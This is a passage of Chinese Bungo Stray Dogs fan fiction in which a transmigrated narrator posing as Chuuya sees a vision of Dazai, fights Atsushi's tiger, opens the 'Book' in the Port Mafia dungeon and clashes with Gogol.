对对对——也只有失去了异能力的宰子,才有可能在其他异能力的辅助下,站在海面上。 可是,这不是我在上一次穿小野狗时编造的IF线吗? 感觉那已经是很久之前的事了,失去的记忆突然攻击我。 不是吧,世界意识根据我的臆造和众多主线人物的认同,直接同化了一个新的世界出来吗? 一想到这个可能,我的胃就是一阵强烈的抽动,猛然间让我抑制不住,想要呕吐。 突然,宰子停了下来。 低着头,他看着幽深的海面,半跪在地,伸手舀起一股海水。 真·海水。 破案了,我很确信我的重力屏障没有破碎,海面实际上没有任何变化。 所以,这不是现在真实发生的。 还真是幻影? 我直接进入观影体中? 难顶。 问题在于,为什么会有这样的幻影。 是谁制造的幻影? 总不能是世界意志转人工了吧? 眼前的幻影宰听不到我的吐糟,他一言不发,只是默默从怀中掏出一个金属盒——看上去就是很普通的盒子,做工也不算精细,甚至有点大众感。 我肯定见过这种材质的金属,我见过,估计就不太值钱。 关键在于,盒子里盛放的东西。 我凑上前去,只见打开的盒中,是一块透明到发白的水晶。如果观察得更加仔细,便能发现,水晶中布满了白光组成的细密文字。 不需要细看上面的文字内容,我都能猜得到。 那一定是属于「人间失格」的文字。 这,就是宰子的异能力。 就像是涩泽龙彦的收藏品一样,虽然残酷,但分离出来的异能力确实极度美丽。 要是我有能力,我也想买一墙的水晶做周边。 不,水晶完全无法和这种异能晶石相提并论。 我以为宰子会说点什么,给我点什么提示。但半晌,他却只是长舒了一口气,就像久行的旅人终于卸下了重担一样,眼睛里反倒多了几点光。 某个瞬间,我福至心灵。 好像知道他要做什么了。 宰子翻转盒子,异能力晶石“扑通”一声,掉入水中。 「人间失格」在穿过海面的同时,一定发挥了自己的作用,解除掉了宰子踏水而来的异能力。 瞬间,他就这样无声地落入水中。 我几乎是下意识地就想去捞他,但伸出去的手却依然穿过了他的身体。 我大脑中的某一个意识还觉得,这么瘦弱的人,大概是是沉都沉不下去,要上浮的。 但就像在回应我的话,一串泡泡马上就冒了起来。 宰子根本就没有闭气的意思,和IF宰跳楼时一模一样。 我看他沉入黑暗,我看他向上伸手,我甚至看到了他掌中反射的点点阳光。 但这点阳光,很快就被海洋的黑暗所吞噬。 “异能力者只要活着,其异能力就很难真正分离。” 所以,「龙彦之间」原理的必要条件,就是异能力者的死亡。 死亡究竟是由谁带来的,事实上并不重要。 就像DeadApple里,涩泽龙彦获取宰子异能力的方式,是背后捅刀。 在我编造的故事里,宰子将「人间失格」分割出来,用以困住「斗尖荒霸吐」。 但,我自己都没有想过,竟然会有这样的细节。 「人间失格」不是交给了某个人的身体外沿,而是直接落到了「斗尖荒霸吐」本体的外沿。 确实,「人间失格」需要直接接触才能起效。 终究,异能力和起效之间,还隔了个异能力者。 所以客观来说,是宰子自己的存在,阻碍了「人间失格」发挥最大效果,以至于异能力无法真正限制「斗尖荒霸吐」本体、克系爱手艺。 但如果没有了异能力者的阻碍…… 海面之下泛起波澜,爆裂的白光穿透海洋之深,幻影甚至完全压过了「龙彦之间」的效果,直冲天际。 这不仅仅是「人间失格」的颜色,还有激烈反抗束缚的「斗尖荒霸吐」,拉扯着祂飞入了横滨之内。 不是安全装置收录了「斗尖荒霸吐」,真正主导一切的,是「人间失格」。 即使没有看到全貌,我也能大概推测出来。 宰子用最后生存的意志,指挥了「人间失格」对「斗尖荒霸吐」的束缚。完成了这一步,宰子一死,「人间失格」没有了原本主人,就会本能寻找下一个有关联的宿主。 这个“目的地”是有充足操作空间的,提前做好准备,就能预测落点。 这条线的逻辑一下就通畅起来,那些我自己都没有想到的细节,世界帮我是补全了。 我一时心神震荡。 可是,事到如今,此时此刻,这个幻影又为何会出现在我面前? 总不能是让我回忆往昔峥嵘岁月吧? 我握紧拳头,心中的警惕达到了巅峰。 什么样的人能制造出这种幻影? 首先排除老实人涩泽龙彦,他虽然铺垫了整个横滨的战场底色,但他也只能做到这一步。 可一旦排除了涩泽龙彦,剩下的所有可能里,就没一个省心的。 哪怕是宰子也不省心、 艹。 我突然觉得空前紧张,来了这个世界后,我还没有这么紧张过。 在逐渐浓郁的雾气里,我仿佛能够听到第二个呼吸声,仿佛有什么东西在一直靠近。 我算是真正明白了,什么叫做真正的恐惧来源于未知。 悬在头顶的刀,可比落下来的要可怕得多。 但等来等去,我人都要窒息了,海面却还一片平静。 甚至到最后,连雾气的浓度都降了下来,「龙彦之间」的范围,肉眼可见地缩回了陆地上,使得一个人孤零零站在海面上的我,显得非常小丑。 我不会是一个人站在这里,和空气斗智斗勇吧? 第85章 我简直像个小丑。 所以, 海面上的雾气究竟为何而存在? 总不能单纯就是为了让我看一场小电影吧? 不会吧,不会吧? 谁搞的鬼这么无聊。 会是宰子吗? 窥探平行世界,一只都是拥有「书」本体的他的特权。 但他不会做无意义的事, 让我看小电影的目的又是什么, 重新提醒我自己编织的罪恶剧本? 我嘴角一抽,看了看幽深的海面,浓雾已经回拢, 将横滨锁得更紧,脱离「龙彦之间」范围的码头重新“热闹”起来。 这是港|黑控制的码头之一,里面自然都是港|黑旗下的员工。但,横滨如此形势之下, 确实有不少“外人”在尝试潜入, 码头就是一个绝佳的入口。 所以浓雾散去,有几个奇形怪状的死者,也在意料之中。 都想在这个时候的横滨插一脚了,又怎么可能是普通人,当然是异能力者。 但既然是异能力者, 就无疑会被「龙彦之间」所影响。 虽然在我看来——在港|黑、侦探社和「天人五衰」群体看来, 涩泽龙彦有那么一点点的小丑,但他的能力绝对不弱。 差点和污浊五五开, 这是普通异能力者做得到的吗? 这些外来的、无名无姓的异能力者, 自然逃不过变成收藏品的命运。 这不会就是宰子的目的吧? 利用涩泽龙彦的力量,来排除异己? 不无可能。 但对码头内的人来说, 突如其来的变故和晃眼出现的尸体, 着实让人慌乱。 港口黑|手|党——顾名思义, 港口, 就是黑|手|党关键。码头是组织最重要的生命线, 没有之一。 这样的地方出现任何纰漏,都会责任到人。 任何正常人都不会想要被港|黑追责。 尤其,现在正是港|黑内部全员紧绷的时候,这几具突然多出来的尸体,明显是被异能力杀死的尸体。 即使已经是尸体了,也意味着,港口被外人渗透了。 我看负责人那生无可恋的眼神,紧张得仿佛随时都能吐出来一样。 这倒也不是你的锅。 但很快,无法连通的信号和肉眼可见的浓雾引起了更大的恐慌。 许多基层工人并不完全属于港口黑|手|党的组织势力,这里只是一份工作。 但毫无疑问,他们的家都在横滨。 宰子不会在港口这么重要的地方,雇佣外地人。 浓雾包裹了他们的城市,所有的通讯又全部断掉…… 恐慌是会传染的。 横滨在宰子的操纵下安稳太久了,人们对变故的承受能力空前降低。 虽然说不上是我的责任,但—— “冷静!” 我从天而降,重力的超量使用,直接在地点砸出一个一片蛛网般的裂纹,“不要自乱阵脚。” 负责人看到我就像看到了救命稻草,直接三步并两步地冲了上来,“中原干部!” 像他这个级别的人,可不会知道我的存在。 我的模样,代表的自然就是中也。 “都愣着干什么,收拾现场。”我淡淡地扫了一眼异能力者的尸体,就赶紧把视线挪开,“还有工作,今天的订单都做完了吗?该装卸的货物,都检查过了吗?” 我尽可能使用强硬的语气,这种时候,这里的人需要的是主心骨,而不是无意义的安抚。 我低气压的视线扫过负责人,对方身体一抖,对现状的恐惧顿时就转移到了我身上,“还没有了,刚才——” “其他事不是你们该管的,做好自己的活儿。横滨外的规矩一律照旧,按照原计划装卸检查就够了,需要延迟的就按正常程序处理。运往横滨内的货物暂停,需要从横滨内运来的单子也暂停,不用向上汇报。所有人只在岗位上行动,不得离开码头。”我直接打断了负责人的疑问,下达了一连串的紧急指令,只是横滨一个区域被浓雾包裹而已,码头与外界的联络并没有断。 临了,我倒也给这里的负责人吃了颗定心丸,“这片浓雾不会对普通人起效,你们只等雾散,自然会有新指令来。” 以宰子这两年给人的印象,没人会怀疑浓雾是宰子意料之外的事。 本来的事,这也不可能在宰子意料之外。 “是,中原干部!” 负责人的情绪马上就安定下来,连带着整个码头的气氛都焕然一新。 那个给我故意的深坑,此时成了最好的“定海神针”。 没有谁比中也更能带来安全感了。 安抚完这边,我便不再耽搁,提气就冲入雾中。 一进入「龙彦之间」的范围,我身上的荒纹就马上活跃地灼热起来。 这可和刚才海面上的状况完全不同。 在同样的异能力领域里,怎么会带给我两种完全不同的感受? 奇怪。 我暗自犯嘀咕,难道说两种雾气的性质会有什么不同吗? 那这“不同”的两种机制,会不会是引发那样幻境的关键? 我一边思考猜测,一边毫不降速地赶路。 能见度太低,以至于许多障碍,都是拉近距离之后才注意到的。 活物会散发气息和威胁也就罢了,接连撞翻两辆车、三座楼,就有点小丑了。 说真的,我不想飞得太高。 别问,问就是害怕。 正出神时,一只纯白的猛虎,冲着我就扑了过来。 我低头一看,敦敦正从虎腹下翻出来,躲避着白虎尖锐锋利的牙齿。 来得正好! 我已经有点迷路了! 没大雾我都分不清方向,有的话,就更分不清了。 我一把抓住敦敦的肩膀,借力停顿,向上一踢。 白虎直接被我掀了个跟斗。 “荒……先生?”敦敦瞪大眼睛,显然没有预料到竟然会和我碰面。 异能力越是强大,「龙彦之间」的效果就越好,也就越容易死在自己能力手下。 我的手虚空一握,重力的红光蔓延在白虎的外沿。 “咚!” 它被我狠狠地摔进了地面。 “敦,情况如何?”我一肚子问题不知道从何问起。 说实话,敦敦的老实人程度不在涩泽龙彦之下,复杂的问题恐怕他也不知道。 他喘了一口气,紧绷的肩膀微微放松,我带给他不少安全感。 “不知道,我现在的任务是看守地牢,但浓雾泛起之后,地牢中的人都消失了,白虎也开始攻击我……” “港|黑内的地牢?你还跑得挺远。” 敦敦打出一个问号,“您在说什么,我接到的命令是就算死都不能擅离岗位,这里就是地牢啊。” 说着,我跟着敦敦往前几步,港|黑的楼体显现在我面前。 我、我竟然—— 没有迷路! 感天动地。 我低头,硬质的地面已经被包围在港|黑的“庭院”内。 那我刚才撞坏的墙面就是港|黑大楼后院的围墙? 那我现在脚下踩着的,应该就是港|黑地牢的天花板了吧? 没想到,迷雾之中的本能,比我理智分析的方向感好多了。 虽然我一开始的目标是武装侦探社。 “这雾到底是……” 敦敦似乎笃定我知道答案一样。 “敌人的异能力,「龙彦之间」。用异能力者自己的能力来对付异能力者,很超标的能力特质。”我倒是没有隐瞒这些明摆着的情报,“你的任务是太宰亲自下达的吗?” “是。” 敦敦点头,虽然原则上来说,干部都是他的上司,但他大概一直是直接接收宰子本人命令的特殊行动人员。 宰子不可能对涩泽龙彦的行动一无所知,他给敦敦下达这种命令,是因为地下藏匿了什么东西吗? ——之所以不猜“人”而是猜“东西”,也是基于「龙彦之间」的特性。 普通人不会留在「龙彦之间」,异能力者又很容易在浓雾中死亡或是逃出。 某种死物是最靠谱的猜测。 “荒先生,白虎!” 敦敦的声音突然打断了我的思路。 后颈的凉意让我本能起飞,重力带动我的身体向后一翻。 白虎的爪子几乎是擦着我的衣领扑而过。 我给掌中的石子附着重力,施加的巨大力量超过肉眼可以捕捉的极限速度,冲向了白虎的额头。 我记得,晶石就是在异能力体的额头,对吧? “啪!” 石子在异能力的包裹下,被震得粉碎。 我定睛一看,就见保护抖弄着头,将额上的灰尘扫开。 没有晶石?! 白虎的额头上,没有晶石! 我一把扑到白虎脸上,手动拨开绒毛。 真的没有! 我一手抓着白虎的牙,将它想要咬死我的嘴巴扒开,脚踩着他的肉垫,重力重新施加在他身上。 更奇怪的是,白虎的第一目标,永远应该是自己的异能力主人,而非是我啊。 “吼——!” 伴随着白虎的吼声,气流也冲过我的身体。 连带着,冲上前来的敦敦也遭了殃。狗啃刘海被吹出了中分,我“扑哧”一声出来,正要笑时,却突然凝住了表情。 敦敦的额头正中,竟然有一颗金色的晶石。 啊?这…… 原来白虎是本体,敦敦才是异能力? 倒反天罡! 不等我问出口,白虎就突然挣脱了重力的束缚,爪子掀开我的脚,重新扑了过来。 重力是这么容易挣脱的东西吗? 我抬手,卡着白虎肉墩墩的脖颈,将它掀翻在地。 柔软的老虎腹部蔓延着红色的花纹,还是我最熟悉的那一款。 突然,顺着这股纹路,一股重力的排斥激荡开来。 艹! 白虎不是挣脱了我的重力,而是吸收了我的重力。 这究竟是谁给了白虎能“吃掉”异能这种设定啊! 我给自己的身体加了层buff,一脚踹飞了白虎。 再转头,我便发现敦敦额头的晶石中,增添了几分红色的纹路。 浅猜一下,如果我击碎了敦敦头上的晶石,那消失的,究竟会是白虎,还是敦敦? 可真会给我出难题。 白虎完全不会被打碎。 我发誓我刚才那一脚绝对没有保留,一般异能力者都接不住。但白虎翻出去后,身子连一秒钟的停滞都没有,后爪一推,整只虎就重新扑了回来。 他身上的红纹也越来越多,交织在黑色的虎纹上。 白虎在变强。 第二轮攻击里,我清晰地感觉到了重力的加成。 白虎的战斗本能也在升级。 我眼睛一瞟,就见敦敦额头晶石内红色纹路变得更加密集。 理智上,我当然知道这只是代表重力的花纹,但乍一看上去,那红色的不像是花纹,反倒像是裂纹。 而且,大概不是我的错觉,晶石好像真的扩大的一圈。 是因为我没有克制重力的输出量,所以白虎“吃”得太饱了吗? “敦,你头上的晶石是怎么回事?” 我抽时间问了出来。 白虎根本就不把他当目标,实在是太奇怪了。 “晶石,什么晶石?” 他摸上自己的额头,似乎完全没有意识到这个变故,“刚才还没有的!” 刚才没有——也就是说,敦敦额头上的晶石,并非完全单纯受「龙彦之间」的影响。 敦敦跳上了白虎的后背,双臂压在白虎命运的后脖颈上,试图驯服白虎,“可能是在击碎白虎额头的晶石之后?” 等等,敦敦已经击碎了白虎额头的晶石? 问题真是一个接着一个来。 敦敦已经击碎了晶石,为什么异能力没有回到他的身体里。 晶石碎裂,异能力会回到主人的身体内。 这是涩泽龙彦的能力类型,应该不会有例外和改变。 也就是说,问题出在敦敦身上。 “异能力会回到主人身上——”我自语着,“主和人,‘主’是定语,‘人’才是中心语。” 我看着敦敦额头愈发红温的晶石,这个象征了白虎状态的晶石,嵌在敦敦额头。 是不是说明,敦敦自己,也是异能力体的一部分? “吼!” 白虎完全不顾及后背的敦敦,狠厉地砸向了我。 白虎那巨大的身体,携带着吃掉的重力,把猛虎下山的招数,搞得像陨石坠落一样。 “轰”的一声巨响,地面震裂。 钢板阻隔的地下牢狱顿时露出了端倪,黑暗中的束具重见天日,同时,一股无法散尽的血腥味也爬了上来。 这些都是地牢内该有的正常景象,真正让我顿在原地的,是随着这股味道一并逸散开来的能量反应。 好熟悉。 好浓郁。 我大脑一转,瞬间将力量和来源对上了号。 「书」。 虽然没有办法真正打开它的“锁”,但这股力量带来的感知,我绝不会认错! 所以,这才是宰子下令敦敦不能离开的原因? “嘶——呃啊!” 敦敦发出了沉闷的气音,紧紧地抱着自己的头,毫无征兆地从白虎后背摔了下来。 他蜷缩在地面,以头抢地,看上去痛哭异常。 白虎对妄图驯服他的敦敦毫无攻击欲望,反倒是站在他面前,凶恶的嘴脸对准了我。 我猛然意识到,白虎是想要从我手里,保护敦敦。 我像是要攻击敦敦的样子吗? 为什么他的反应如此激烈? 尤其是地下的气息渗上来后,白虎的瞳孔中,敌意更重。 钥匙、钥匙,打开「书」的“钥匙”。 我突然福至心灵,看着敦敦额头上的晶石,意识到一切都不可能是巧合。 我会在这里遇到敦敦,绝不是巧合。 宰子让敦敦守在这里,也绝不是巧合。 在我没有来之前,白虎会攻击敦敦,是因为自己的晶石碎裂之后,依然没能回到敦敦的身体。他大概是在尝试击碎敦敦额头的晶石,让他们重回一体。 只有在敦敦体内,白虎才能最大程度地保护敦敦。 但我一旦出现,就成了“外来侵入”。 尤其是「荒霸吐」天然携带的压迫力,和我一上来就给白虎的那个大嘴巴子——完全被当作了敌人啊。 我离敦敦越近,白虎就越焦躁。 所以……中岛敦是寻找「书」的路标,是打开「书」的钥匙,这句话完全就是字面上的意思。 白虎这个异能力,才是钥匙的守护者。 所以,这个异能力才总是可以压过敦敦这个“主人”的意识。 失控,本身就是一种保护手段。 「书」的气息刺激到了“钥匙”,白虎的应激也到达了巅峰,一切所见皆为敌人。 强力的拉扯和攫取,让敦敦被额头晶石的躁动,刺得头痛欲裂。 果然,还是得先突破白虎了。 想通了一切,我便不再有任何留手。 我压制白虎不是第一次,虽然他在吸收我的重力以增强自己,但——也并不是没有应对手段。 红色的能量在我掌心聚集,带动着雾气都要形成旋涡。我手指一握,能量化为实体向两边延长。 “将”的一声,金属破空成型。 我手中多了一杆长枪。 纯粹的红色枪上,布满了和我手背一样的荒纹。 既然使用了「斗尖荒霸吐」的人设,那有这样一个“本体”,也是理所当然的,对吧? 长枪在我手中一转,尖锐之处直奔白虎而去。 “飒!” 尖锐割开空气,以极快的速度刺入了白虎的前肢。 “吼!” 白虎发出怒音,一口咬在了长枪上。 但,「斗尖荒霸吐」的本体即便不是完全体,也没有那么容易损坏。 尖锐的牙齿和枪体之间,擦出一串火花。 枪头紧贴着敦敦,插在地上,细杆卡住了白虎的牙齿,我借力一翻的同时,松开了抓着本体的手。 枪身散发的危险性,应该尤在我之上。 如果白虎的目的是消除危险,那么长枪的优先级一定比我更高。 果然,枪身一靠近敦敦,白虎就像是应激一般,疯狂地撕咬着长枪。 我踩着白虎的后背,手指一动,松开了对长枪的维系。 白虎牙齿的压力陡然增大,瞬间嚼碎了失去我维系的长枪。 吞噬是白虎的本能。 他几乎是毫不犹豫地将枪吞了下去。 只让我多等了一秒。 敦敦额头上的晶石,就多出了一把微型荒霸吐枪的轮廓。 像是包裹着标本的琥珀。 和重力不一样,那是我本体的一部分,自然代表了我的意志。 我屏息凝神,集中注意。 本体毫无秩序地在白虎的内部搅动。 短时间内,足以让我在和白虎的交锋中,占据主导,将白虎按在原地。 绝对的主导,会带来平静。 敦敦额头晶石带来的疼痛瞬间缓解。 紧接着,我一脚踩在地面上。 强重力之下,整个地面完全崩塌,黑暗的地牢裸|露在外,各类束具、刑具展现在我眼前。 但不出所料,里面一个人都没有,全部都被「龙彦之间」给排斥走了。 在所有的束缚之中,有一个金属盒子吸引了我的注意。 刚刚看了幻影宰的我有点应激,寒毛全都炸了起来。 但一两秒钟之内,我就冷静下来。 想清楚,「龙彦之间」不可能存在单独分离的异能力晶石。 就算宰子真的神经质给自己来了一下,晶石也应该在涩泽龙彦的宫殿里。 所以里面大概是……「书」。 我狠狠地咽了一口唾沫,将那块破碎的手表,重新拿在手上。 “敦,把那个盒子打开。” 如果他是“钥匙”,一切都应该由他开启。 我扫了一眼金属盒子,上面没有任何锁扣。 宰子给我的金属钥匙,显然不是用在这里的。 在他的判断里,我最想要的东西,竟然不是「书」吗? 我隔着布料,捏了捏口袋中的金属钥匙,正要顺着某种异样的直觉将其拿出来的时候,敦敦的开口打断了我差点就连起来的思路,“我并没有进入地牢的权限。” 敦敦·听话版。 “你以为,太宰为什么要让你守在这里、为什么要把盒子放在这里、为什么要让我也来到这里?” 在这个世界里,我绝不相信任何巧合,“快点,我对白虎的压制不会一直存在。” 大概是我这张中也脸起到了效果,也可能是宰子平日里运筹帷幄、不说人话的谜语人形象发挥了作用,敦敦完全是放弃思考的执行者。 只是隐隐作痛的额头在他的承受范围之内,他毫不在意地跳入了地牢。 这股属于「书」的力量一定也影响到了他,让他心脏跳动的声音异常明显。 白虎躁动着,我时刻都能感觉到他的反抗。 “不要犹豫,快点。” 我不由地催促起来。 “吱呀——” 金属盒发出的声音在地牢内回荡。 我紧紧盯着敦敦的每一个动作,打开的盒子里,装着一个薄薄的无字本。 果然,就是「书」。 第86章 重量级的来了。 宰子把敦敦和「书」一起放在「龙彦之间」里, 果然不是随随便便一步棋。 一切都是有原因的。 别看这个金属盒子这么粗糙,它的作用比肉眼看上去的大多了,愣是把所有的异能效果都挡在了外面, 给了「书」最好的呵护。 当金属被敦敦打开的瞬间, 浓雾毫无顾忌地涌了进去。「龙彦之间」在「书」的表面膨胀,甚至发出了“滋滋”的声音。 显然,即使「书」是一种完全物质, 也一样是这个世界的一部分,会受到异能力的影响。 就像宰子也不能毫无顾忌地使用它一样。 这个粗糙的金属盒,显然屏蔽了异能力的效果。 像是某种……「人间失格」产物。 再次感叹,这果然是宰子的手笔! 在涩泽龙彦的领域内, 要是有这样清晰的能量反应, 他应该能很快就会意识到。 所以,不论是谁在操纵涩泽龙彦,应该都有要利用他寻找「书」的意思。 嗯,嫌疑最大的毫无疑问,就是福地樱痴。 毕竟是反派大BOSS, 该有的牌面都会有的。 “荒先生?” 敦敦皱着眉, 脸上浮现出一种难以言喻的情绪,眼神中的惶恐完全无法掩藏。 他一定感觉到了什么, 但又无法形容自己感知到的异常。 不再需要我说什么, 敦敦自己就像着迷了似的,伸手翻开了那本书。 就在我背后, 白虎扑了上来, 趁我不备, 将我压在了毛茸茸的肉垫下。 背后偷袭, 可恶。 但是他只用了肉垫没有用爪, 竟然色|诱我,可恶! 谁让白虎也是大猫猫呢,没有人能责怪一只淘气的猫猫! 不过,这一扑没把我怎么样,倒是把专心的敦敦吓了一跳。 IF敦敦,把对白虎的恐惧刻进DNA。 即使神情有些不受控的恍惚,但他还是手一松,金属盒子掉落在地,「书」也随之打开。 「书」页顿时哗啦啦地无风自动,明明看上去只有薄薄一层,却仿佛永远翻不到头。 空白的纸张蔓延开来,仿佛接替了地面的责任,一瞬间隔离地牢,仿佛让这里成了一个单独的空间。 失重感袭击了我,整个地牢内的状况都变得异常奇怪。 敦敦倒栽着飘在半空中,伸出的指腹感受着「书」页的快速滑动。 我看着这地牢内,以纸张为底,文字为柱的样子,这还是有点世界崩塌那味儿了。 但我很清楚,这和世界崩塌不同,这就是这个世界本来的样子。 文豪野犬——文豪这两个字是排在前面的。 这些在三次元存在过的人和书,组成了这个世界的底色。 是「书」,将这层底色揭开。 而「书」,是由敦敦揭开的。 或许,涩泽龙彦也在其中起到了某些积极效果。 但,最终的关键,仍然在敦敦身上。 果然,这么重要的初始设定,绝对不是废笔。 后背的力量陡然一轻,厚厚的肉垫触感消失。保护化作一缕白烟——被无数文字组成的白烟,钻入了敦敦的眉心。 顿时,他的眼睛被浸染成了白色,吞掉了瞳孔,也吞掉了他的某种意识,将他身体最深处的某种东西引了出来。 手里的运动手环在发烫,烫到超越了次元阈值,让我感受到了一股强烈的刺痛。 没有任何犹豫,我完全是本能反射地把手环丢了出去。 手环不偏不倚,正正砸在敦敦的脑壳上,发出了清脆的响声。 已经完全不像有意识的敦敦迷茫抬头,眨巴着眼睛看着我。 突然有一点心虚愧疚是怎么回事? 脚底踩着的巨大纸张嗡动着,翻涌成光,化作密集的文字——我得说,大部分是我看不懂的字,尤其是俄语,真是难顶。 但看不懂也没关系,只见那奔涌被吸入手环的样子,我便能猜测一二。 我的手环·开挂专用版,虽然稍微损坏了那么一丢丢,但它创造之初的功能就只有两个,就是储存和释放。 这可是我、基友和O米智慧的结晶啊! 「书」中的力量一被解开,手环就像是想要弥补自己身上的裂纹一样,疯狂地汲取着力量。 “疯狂”,这两个字我是一丁点都没夸张。 「书」的释放速度,都赶不上它汲取的速度。 即使是我,也有点被惊呆了。 MD,是八百年没有吃过饭了吗? 我亏待过你吗! ……好吧,它好像确实是跟着我受尽苦楚。 但是,手环的主观能动性,应该没有这么强啊。 “抽风了吗?” 系统这种东西,随时抽风,都是有可能的。 就像是在回应我的话,手环吸收的速度好像更快了——唰唰唰地大口吞咽。 半晌,还冲着我打了个饱嗝。 ……? 说你一句,你还来劲了。 这个贱贱的样子,总有些似曾相识。 突然,我脑子里闪过几个画面。 “等等、不会是……宰子的‘功劳’吧?” 从我到这里世界以来,这个手环我只拿出来过一次。 就是在宰子给我展示「书」的时候,我尝试用手环来勾|引「书」的力量。 只有那一次,唯那一次。 那时候真是想要用尽一切手段,所以还把手环压在「书」的下面,放了一段时间。 嗯,放在宰子那里。 真不是我心大,实在是狗急跳墙,我非常担心我真的回不去。 事有优先级,回家是头等大事,能量也是关键。 再者说,能防住的,怎么都能防住,防不住的,用再多手段都用。 只有千日做贼的,哪有千日防贼的? 主打的就是一个坦率,享受摆烂人生。 宰子会研究手环,我当然早有预料。 但锚点这种东西比路径还要难搞到手,我还是准备了几个预备方案的。 只是,宰子这个搞事方向好像有那么一点不对? 我的手环变成吃货了啊,喂! 独立的小空间很快消散,「书」仿佛终于翻到了底,自主合了起来。 周围风仿佛失重一般的情况骤然消散,敦敦一眨眼,瞳孔重新浮现在眼白正中。 “咚”的一声,他屁股着地,坐在了地牢坑里,手里捧着「书」和我的手环。他脸上尽是茫然,仿佛根本不清楚发生了什么。 周围的雾气依然浓郁,港|黑大楼的外壁若隐若现,远处的围墙上应该还留着我横冲直撞而来的痕迹。 脚下就更别提了,我和白虎可是给港|黑地牢的天花板踹了个窟窿。 “荒……先生?” 敦敦牌复读机,你值得拥有。 刚才那不消散的白虎、额头上的晶石、发光的「书」和贪吃的手环,仿佛都是黄粱一梦。 “嗝!” ……倒也没有那么黄粱。 “刚才是有什么声音吗?” 敦敦疑惑。 有,是运动手环的声音。 谁能想到,人工智能——你别问智能不智能,你就说人性不人性吧。 我赶紧跳下去,一刻也不耽搁地把手环取了回来。 迟则生变。 敦敦完全没有反抗回护手里东西的意思。 拜托,我现在可算得上是他的上司。 谨慎地收起手环,我低头看着敦敦手里的「书」。 你们说,这被吸走了精气的书生,还能高考吗? 第87章 我主观上觉得, 「书」不会那样脆弱,它的存在并非仅仅是一种能量体而已。 但,「书」的能量体状态已经被我的手环榨干了, 这件事是肯定的。 鬼知道它算不算一件神器。 我抬手, 正打算从敦敦手里把东西接过来的时候,我后背的汗毛一竖。 本能反应比我的主观意愿还要快。 我一把推开了敦敦。 在重力的作用下,他几乎像个白色小炮弹一样, 飞了出去。 但没有直接接触,「书」不受我的能力影响。没有了支撑,它缓缓落向地面。 空气扭曲着,一只手从下掏了上来, 白色的手套一把抓住了掉落的「书」。 这么明显的特征, 我一下子就认出来,这是果戈里的「外套」。 我眼睛一厉,马上放开了全部感知。 虽然是捉摸不透的空间系能力,但「外套」有着明确的三十米限制。 这个距离,不会逃出我的感知。 我现在可是手握整个「书」能量的人。 会不会用且不说, 但牌面绝对够足。 纯粹的能量在手环中运作, 将最后一点诅咒之力都挤了出来。 我鼻子一闻,那种韩式甜辣的味道就从我身后飘了过来。 只有情绪才有味道。 而只有人类的情绪, 才会如此激烈而复杂。 我直接就是一脚向后踹。 果戈里大概也没有想到, 我反应能这么快。 他的「外套」也才刚刚起效,甚至连手都还没有来得及伸出来, 就已经被我踹到了。 “咻——” 虽然是在我身后踹的, 但果戈里人却是在侧面发出了声音。 哦, 原来人在这里啊。 我的每一个动作, 都带着重力的痕迹。 任何战斗, 除了像敦敦白虎、宰子无效化、中也同系统这样的能力,基本上我只要接触到,那就是上风。 主打的就是一个开挂。 我的手虚空王往回一拉,重力控制的身体部分瞬间向我倒来。 但果戈里也不是善茬,他无法反抗重力,但他的「外套」却可以把我控制的方向,改得乱七八糟。 同时,就在「外套」之外,那白色披风的另一边,整排的尖锐匕首密集铺陈。 他是属刺猬的吗! 尖锐的刀锋闪烁着异样的寒光,我神目如电,一眼就看出了端倪。 这恐怕不是普通的刀。 虽然重力对这样有形的攻击非常克制,但当所有人都知道这种克制关系的时候,它就不是克制,而是弱点了。 我谨慎了一下,在刺猬滚到我身体之前,将他甩得远远的。 当然,空间系异能力,距离远近都只在一念之间。 但是说真的,我可以失误无数次,但果戈里这样玩火只能失误一次。 他到底在兴奋什么? 有点头痛,看漫画的时候不觉得,动手的时候才发现这空间系是真难搞。 滑不留手的,像只老鼠。 从头顶张开的「外套」骤然一顿,哗啦啦的刀片往我脑袋上砸。 真·天上下刀片。 请我吃刀。 “啧,真当我好欺负了?” 我冷哼一声,几个翻身躲避,接住的刀往回一丢,“咻”的一声,又从我背后飞来。 我恨空间系。 这个能力是难对付,我完全擅长应对。不过……这里也不是只有我一个人—— “敦!” 话音一落,那白虎便骤然扑了上来。 或许是某种身为“钥匙”的本能,白虎对「书」有着别样的占有欲。 特别是,当这个“钥匙”和“锁”已经配过一次的时候。 果戈里抢走了他的“锁”。 他的战意很强。 只是,果戈里大概是没把敦敦这个“小角色”放在眼里。 虽然在横滨,在港|黑,敦敦这个“白色死神”绝对算是个狠角色。但,他几乎毫无自主决定的能力、甚至无法压制自己的异能力,这种工具一般的“狠”,在果戈里眼中,着实排不上号。 所以,他并未防备多少——轻视。 或许是出于对自己空间系异能力的自信,又或许是出于对横滨异能力者的深入研究。 但,没有用出来过的能力,又怎么会成为情报的一部分呢? 宰子把敦敦当作一张小王来用,当然不会在平时驯化敦敦的任务里,就把这张牌最厉害的一点打出去。 但我现在却没有这种顾忌。 我的重力一压,推平了附近的灌丛树木——港|黑的后院,也就我敢这么肆无忌惮了。 真不愧是我。 一旦将三十米的范围限制,果戈里的身形便无法隐藏。 他当然可以移动,但—— 锋利尽显的虎爪一点也看不出肉垫的可爱,只有寒光凛凛。 果戈里如我所料是个喜好玩乐的,他张开「外套」迎接。我身后一阵微妙的异能力波动,运动(划掉)穿越手环阵阵发烫,仿佛是在提醒我什么。 我猛然意识到,「书」的力量可算得上是文字之载体,它的力量和所有异能力都相配的。 只要有这个力量,理论上来说,任何异能力都可以与我匹配。 如此想,我会对「外套」有如此清晰的感知也就不令人意外了。 这是想让我盘起石头砸自己的脚,让敦敦的攻击打到我身上? 果然是个愉悦犯,就喜欢搞这种花活。 但这也坐实了他确实不知道敦敦异能力的特殊效果——他不知道,就意味着他身后的人,也不知道。 是件好事。 我的思绪只在电光石火之间。 这是现实,时间不会因为我的思考而停滞,敦敦的外套已经冲到了「外套」之前。 虎爪甫一和「外套」接触,便穿出了孔洞。 我无比感谢着现在的这种动态视力,让我清晰地看到了果戈里那紧缩的瞳孔。 他不会想到,敦敦竟然有这种能力。 直接撕裂异能力的能力,和宰子的「人间失格」一样少见。 要不人家能当男主呢? 兽耳+天然+热血成长+特殊身世,简直王道。 诚然,这样的意外不能真的弥补敦敦和果戈里之间的技术差距。 但我也不是真的要坐山观虎斗,果戈里都露出破绽了,我还不动手,等着和他骑士对决吗? 我毫不犹豫,直接就是一个飞踹。 吃我一jio! “嗷!” 